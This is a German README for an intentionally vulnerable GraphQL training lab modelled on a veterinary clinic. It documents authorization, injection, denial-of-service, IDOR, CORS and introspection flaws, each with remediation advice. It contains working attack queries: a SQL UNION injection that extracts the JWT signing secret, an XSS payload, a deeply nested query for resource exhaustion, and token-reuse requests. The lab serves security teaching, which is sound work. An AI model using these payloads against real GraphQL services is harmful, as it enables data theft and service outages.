
Forschung zu GraphQL aus AppSec-Sicht.
Es wurde eine Laborumgebung erstellt, um die verschiedenen Probleme zu untersuchen. Diese bezieht sich auf den Kontext einer Tierarztpraxis, die die Gesundheitsversorgung von Hunden verwaltet.
Die Laborumgebung wurde mit IntelliJ IDEA Community Edition entwickelt.
Verwendete Domänen sind die folgenden:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
Es gibt die Laborbedingungen und -annahmen:
* Ein Tierarzt kann 0 oder N Hunden zugeordnet sein.
* Ein Hund kann 0 oder 1 Tierarzt zugeordnet sein.
* Ein Tierarzt besitzt eine Eigenschaft namens **Popularität**, die im Speichersystem (Datenbank) vorhanden ist, aber von GraphQL-Clients nicht abgerufen werden darf, da es sich um vertrauliche Informationen handelt.
* Der Datenverbrauchspunkt von GraphQL ist der Tierarzt. Die Hundedaten sind öffentlich.
* Das Labor ist explizit eine verwundbare Anwendung, in der mehrere Schwachstellen implementiert und mit dem Marker `[VULN]` in Kommentaren gekennzeichnet sind.
* Bezüglich der Authentifizierung wurde ein gefälschter Drittanbieterdienst (über ein Servlet) implementiert, der ein JWT-Token zurückgibt, das den Namen des Tierarztes im Token enthält.
Sobald die Anwendung über die im Projekt vorhandene Startkonfiguration oder den Befehlszeilenbefehl `mvn spring-boot:run` gestartet wurde, ist das Labor unter diesen Endpunkten verfügbar:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
Um die Anwendung als tragbare Jar-Datei zu paketieren, verwenden Sie den Befehl `mvn package` (eine vorgefertigte Jar-Datei ist [hier](https://github.com/righettod/poc-graphql/releases) verfügbar):
* Die Jar-Datei wird im Ordner *target* erstellt und heißt *graphql-poc.jar*.
* Verwenden Sie den Befehl `java -jar graphql-poc.jar`, um die Anwendung auszuführen.
## Bereitstellung auf Docker
> Das Image wird täglich auf [DockerHub](https://hub.docker.com/r/righettod/poc-graphql) veröffentlicht
Um die Anwendung in einem Docker-Container bereitzustellen, führen Sie die folgenden Schritte aus:
1. Stellen Sie sicher, dass `docker` installiert ist.
2. Klonen Sie das Repository mit `git clone`.
3. Wechseln Sie in das geklonte Verzeichnis.
4. Erstellen Sie das Docker-Image mit `docker build -t poc-graphql .`
5. Ein Image namens **poc-graphql:latest** wurde nun auf Ihrem Rechner erstellt.
6. Führen Sie den Container mit `docker run -p 8080:8080 poc-graphql:latest` aus.
7. Greifen Sie über die folgenden Endpunkte auf das Labor zu:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## Sicherheitsschwachstellen
### Autorisierung
*fehlerhafte Zugriffskontrolle*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### Problem
Da GraphQL auf einem einzigen Endpunkt basiert, an den jede Anfrage gesendet wird, und die Autorisierung außerhalb des Geltungsbereichs der Spezifikation liegt (keine integrierten Funktionen).
Es liegt an der Anwendung, eine Autorisierungslogik zu implementieren.
In meinem Labor gibt es eine Schwachstelle in diesem Punkt, da die Überprüfung des Zugriffstokens nicht verifiziert, dass das Token dem in **veterinaryId** übergebenen Tierarzt gehört.
**Beispiel:**
Ich fordere ein Zugriffstoken für **Dr. Julien** an, der die Kennung **3** im Speicher hat, indem ich diese GraphQL-Anfrage sende:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
Ich erhalte das Zugriffstoken in der folgenden GraphQL-Antwort:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
Ich sende eine GraphQL-Anfrage an die Abfrage `myInfo(...)` unter Verwendung des erhaltenen Zugriffstokens, ABER ich gebe die Kennung **2** an, die die von **Dr Benoit** ist:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
Ich erhalte in der GraphQL-Antwort die Liste der Dogs, die mit Dr Benoit verknüpft sind:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Reco
Mit GraphQL sind wir von einer Autorisierungsmatrix mit `Role x Feature` zur Datensicherheit auf Datenebene mit `Role x Data` übergegangen, da es auch einen einzelnen Endpunkt gibt. Die Benutzeridentität und -rollen müssen an die oberste Schicht übergeben werden, die für das Abrufen der Daten zuständig ist (auf diese einwirkt), um vor dem Abrufen der Daten eine Überprüfung anhand der Benutzeridentität durchzuführen.
### Injection
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### Issue
Je nachdem, wie die Informationen aus der GraphQL-Anfrage (Query/Mutation/Subscription) vom GraphQL-Server verwendet werden, um auf Datenspeicher zuzugreifen, besteht die Möglichkeit einer Injection.
In meinen Laboren habe ich eine Schwachstelle in diesem Punkt bezüglich SQLi in der Query `dogs(namePrefix: String, limit: Int = 500): [Dog!]`, da der Parameter **namePrefix** in einer Stringverkettung verwendet wird, um eine SQL-Abfrage zu erstellen.
**Example:**
Ich sende diese GraphQL-Anfrage, um den Inhalt der Tabelle `CONFIG` aufzulisten.```javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
Ich erhalte in der GraphQL-Antwort das Geheimnis, das zum Signieren des JWT-Tokens verwendet wird, zusammen mit dem Namen des Hundes, dessen Name mit ab beginnt:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
In Bezug auf XSS ist es interessant festzustellen, dass die GraphQL-Antwort den gesendeten Parameter widerspiegelt, falls die Validierung der gesendeten Anfrage fehlschlägt.
**Beispiel:**
Ich sende diese GraphQL-Anfrage an die Abfrage `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, ich ersetze die Veterinary-Kennung (eine ganze Zahl) durch einen XSS-Payload vom Typ String:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
Ich erhalte diese GraphQL-Antwort, die meine Payload reflektiert, also kann es je nach GraphQL-Client und dessen Escape-/Säuberungsverhalten die Tür für XSS öffnen:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Empfehlung
* Wenden Sie eine Eingabevalidierung auf Daten an, die über Query/Mutation/Subscription empfangen werden, bevor Sie sie verwenden
* Stellen Sie sicher, dass der Client, der die Daten aus der GraphQL-Antwort rendert, Escape-/Säuberungsmaßnahmen auf die Daten anwendet, bevor er sie rendert.
### Ressourcenerschöpfung
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### Problem
Da der Kunde die Datenmenge kontrolliert, die er anfordert, kann er eine GrapQL-Anfrage an eine Query senden, die eine Ressourcenerschöpfung auf den Speichern verursacht, die vom GraphQL-Server aufgerufen werden, sowie auf dem GraphQL-Server selbst für die Serialisierung der Daten in JSON.
Dieses Problem kann auch bei einer Mutation auftreten, wenn eine große Datenmenge in den Parametern gesendet wird (Eingabevalidierung kann hier verwendet werden, um diesen Angriff zu verhindern).
Dieses Problem kann auch bei einem Subscription auftreten, entweder durch:
* Registrieren einer großen Anzahl von Abonnenten und bei jeder offengelegten Subscription.
* Senden einer großen Datenmenge in den von den Subscriptions verwendeten Parametern.
In meinen Laboren habe ich eine Schwachstelle an diesem Punkt für Query, genauer in der Query `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]`, die für anonyme Benutzer verfügbar ist und den Inhalt der DB über den Hund abruft. Da es eine Beziehung zwischen Hunden und einem Tierarzt gibt und umgekehrt, ist es möglich, kaskadierende Aufrufe durchzuführen, die auf SQL-Ebene in der DB eine Ressourcenerschöpfung verursachen.
**Beispiel:**
Wenn ich diese Anfrage sende, lasse ich meine CPU für mehrere Minuten auf 100% gehen und meine DB ist lokal, weil es eine SQLite ist.```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

Für Query:
Abhängig von der verwendeten Implementierung des GraphQL-Servers nutzen Sie den integrierten Schutz, der für Maximale Abfragetiefe & Abfragekomplexität bereitgestellt wird (siehe Spezifikationen hier).
Für die Java-Implementierung fügen Sie diese beiden Instrumentierungsklassen zur Ausführungsstrategie hinzu:
Siehe diese Klasse für ein Beispiel zur Verwendung der beiden obigen Instrumentierungen.
Für Mutation/Subscription:
Bei GraphQL wird dem Client eine Introspection-Funktion angeboten, um auf das API-Schema zuzugreifen und die verfügbaren Daten, Query- und Mutation- und Subscription-Operationen darauf zu entdecken.
Hinweis: Die Deaktivierung von Introspection setzt Ihren Server in Widerspruch zur GraphQL-Spezifikation und zu den Erwartungen der meisten Clients. Verwenden Sie dies daher mit Vorsicht und bevorzugen Sie die Filterung des Zugriffs anstelle der Deaktivierung aus geschäftlicher Sicht.
Dies bedeutet, dass jeder Client in der Lage ist, das Schema zu durchsuchen, um in Type zu sehen, ob interessante sensible Informationen offengelegt sind (gleiche Anmerkung gilt für Aktionen bezüglich der offengelegten Mutation oder Subscription).
Mit GraphiQL über das Documentation Explorer-Panel oder mit diesem Skript ist es möglich, das von einem GraphQL-Endpunkt offengelegte Schema zu durchsuchen.
In meinem Labor habe ich versehentlich die popularity-Information, die als sensibel für einen Tierarzt gilt, im Typ Veterinary offengelegt.
In meinem Labor ermöglicht diese URL den Abruf einer Kopie des Schemas.
Beispiel:
Über das Documentation Explorer-Panel habe ich dieses Feld gefunden:



Eine Authentifizierungsbeschränkung kann beim Zugriff auf den GraphQL-Endpunkt gesetzt werden, um eine Offenlegung gegenüber anonymen Benutzern zu verhindern. Dennoch hat jeder authentifizierte Benutzer Zugriff auf dieses Informationsschema.
Selbst wenn ein Client die Struktur eines Typs sehen kann, der sensible Informationen offenlegt, muss er für die Abfrage/Mutation/Subscription, die diese Daten zurückgibt, berechtigt sein, um diese Informationen zu sehen.
Ordnen Sie keine sensiblen Informationen dem im Schema definierten Typ zu.
Da GraphQL materialisiert, wie der Client die Daten konsumiert, darf GraphQL nicht alle im verknüpften Speicher verfügbaren Daten offenlegen, sondern nur die, die für den Client gemäß dem geschäftlichen Kontext der ihnen offengelegten GraphQL-API nützlich sind.
Wenn der GraphQL-Server auf einen unerwarteten Fehler stößt (I/O mit Speichern, NullPointerException, Timeout...), gibt die Antwort Internal Server Error(s) while executing query zurück. Dies gibt dem Angreifer einen Hinweis darauf, dass er auf das System eingewirkt und ein unerwartetes Verhalten verursacht hat.
Beispiel:
Wenn ich diese Anfrage in meinem Labor sende (ungültiges Token):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }
Ich erhalte diese Antwort, die mich darüber informiert, dass ich auf das System eingewirkt und ein unerwartetes Verhalten verursacht habe. Vielleicht habe ich zum Beispiel einen Stack-Trace im App-Log erzeugt, und wenn die App-Log-Dateien nach Datum (täglich) und nicht nach Größe rotieren, kann ich diese Anfrage mehrfach senden, um die Festplatte mit Fehlerlogs zu füllen...```javascript
{
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
}
Gib einen allgemeinen Fehler zurück, wenn ein unerwarteter Fehler auftritt, wie zum Beispiel Abfrage kann nicht verarbeitet werden!
Siehe ein Beispiel in dieser Klasse.
Wenn die GraphQL-API Abfragen/Mutationen/Abonnements offenlegt, für die der Datenbezeichner erratbar/vorhersagbar ist, dann sind diese Abfragen/Mutationen/Abonnements einem IDOR-Angriff ausgesetzt, bei dem der Angreifer eine selbst erstellte Liste von Bezeichnern verwendet, um zu versuchen, auf Daten zuzugreifen oder mit ihnen zu handeln, deren Bezeichner Teil der Liste ist. Der Vorgang gelingt, wenn auch Autorisierungsprobleme in der Ziel-Abfrage/Mutation/Abonnement vorhanden sind, die die Zieldaten verarbeiten.
Die GraphQL-API-Abfragen/Mutationen/Abonnements meiner Labore sind anfällig für IDOR, da ich sequentielle Ganzzahlen als eindeutige Bezeichner für Dog und Veterinary verwende.
Beispiel:
Mit dem Documentation Explorer von GraphiQL sehen wir, dass die Bezeichner einfache Ganzzahlen und sequentiell sind:


Anforderungsabfrage zur Erkennung von IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }
Die Antwort zeigt die Sequenzkennung für Dog und Veterinay:```javascript
{
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
...
Bei Verwendung eines GraphQL-Implementierungsservers zum Erstellen Ihrer GraphQL-API kann es vorkommen, dass dieser standardmäßig einige Funktionen aktiviert, die die GraphQL-API gegenüber dem falschen Kundenkreis exponieren.
In meinem Labor ist dies der Fall, da standardmäßig ein WebSocket-Endpunkt unter dem Pfad /subscriptions bereitgestellt wird und keine Authentifizierung erfordert (siehe dieses Dokument, insbesondere den Abschnitt Realtime Updates with Subscriptions):

Clients können über diesen Endpunkt Zugriff auf API-Daten erhalten, wenn das Schema Abonnements im Subscription-Abschnitt deklariert.
Beispiel:
Ich kann die über das Schema exponierten Abonnements sehen:

Wenn ich diese Abonnementanfrage sende, um Ereignisse vom newAssociation-Abonnement zu empfangen:```javascript subscription subscribeToNewAssociation{ newAssociation }
Ich erhalte die folgende Nachricht, die darauf hinweist, dass ich ab sofort Informationen von diesem Abonnement erhalte:```text
Your subscription data will appear here after server publication!
Und wenn ich eine Assoziation über diese Mutationsanfrage in einem anderen Browser erstelle, zum Beispiel:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }
Die Mutationsantwort beweist, dass die Aktion auf Datenebene durchgeführt wurde:```javascript
{
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
}
Nach einem Moment erhalte ich diese Benachrichtigung als Antwort auf mein Abonnement:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

##### Standardmäßige Aktivierung von Cross-Origin Resource Sharing
In meinem Labor ist dies der Fall, da standardmäßig [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) aktiviert und auf `*` gesetzt ist, sodass die API von jeder `origin` aufgerufen werden kann.
**Beispiel:**
Wenn ich diese Anfrage sende, in der ich eine andere `origin` von *domain1.local* zu *domain2.local* angebe:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
{"query":"query testCORS {\n allDogs{\n name\n }\n}\n","variables":null,"operationName":"testCORS"}
Ich erhalte diese Antwort:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT
{"data":{"allDogs":[{"name":"Abi"},...
Call from a browser:


#### Empfehlung
Überprüfen Sie die standardmäßig aktivierten Funktionen und deaktivieren Sie sie, wenn sie die Exposition der API beeinträchtigen.
Für den Subscriptions-Endpunkt:
* Wenn Sie Abonnements freigeben, stellen Sie sicher, dass für jedes im Schema freigegebene Abonnement Authentifizierung und Zugriffskontrolle vorhanden sind.
* Wenn Sie keine Abonnements freigeben, deaktivieren Sie den WebSocket-Endpunkt oder blockieren Sie diesen Endpunkt auf WAF-/Anwendungsserver-Ebene.
In meiner Laborumgebung musste ich die folgenden Optionen in dieser [Konfigurationsdatei](https://github.com/righettod/poc-graphql/blob/HEAD/src/main/resources/application.properties) setzen:
* Für CORS: `graphql.servlet.corsEnabled=false`
* Für WebSocket: `graphql.servlet.websocket.enabled=false`
## Discovery-Abfragen
Die folgenden Abfragen können verwendet werden, um das Schema abzurufen.
Non-detailed:```javascript
{
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
Ausführlich:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
## Verwendete Referenzen
### GraphQL
* [GraphQL-Website](https://graphql.org/)
* [GraphQL-Tutorials](https://www.howtographql.com/)
* [DOYENSEC Blog über GraphQL-Probleme](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
### Labs
* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)